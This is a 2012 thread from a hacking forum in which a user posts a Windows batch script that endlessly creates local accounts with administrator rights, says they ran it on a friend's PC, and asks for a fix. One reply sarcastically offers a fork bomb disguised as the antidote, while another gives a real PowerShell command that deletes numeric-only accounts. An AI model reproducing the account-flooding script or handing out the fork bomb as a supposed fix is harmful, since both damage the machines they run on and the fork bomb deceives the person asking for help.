EvilZone

Programming and Scripting => Scripting Languages => : Dark Nebulae September 10, 2012, 11:58:58 AM

: [Batch] give me an antidote
: Dark Nebulae September 10, 2012, 11:58:58 AM

I created and ran it on my friend's pc. can anyone please give me a batch file to reverse this.





:
@echo off
:usrflood
set usr=%random%
net users %usr% %random% /add
net localgroup administrators %usr% /add
goto usrflood
: Re: [Batch] give me an antidote
: flowjob September 10, 2012, 12:50:36 PM
lmao

just make a loop that checks through all usernames. if the username is not a original one,remove the user,otherwise skip...
: Re: [Batch] give me an antidote
: NeX September 10, 2012, 11:24:24 PM
You're true genius!
Try running
:
s:
start %0
goto s
: Re: [Batch] give me an antidote
: xzid September 12, 2012, 08:51:57 AM
%random% will be digits only, regular usernames will usually contain letters.. remove all numeric usernames, in powershell:

:
([string]($nu=net user)[4..($nu.count-3)]).split(" ")|?{($_ -match "^\d+$")}|%{net user $_ /delete}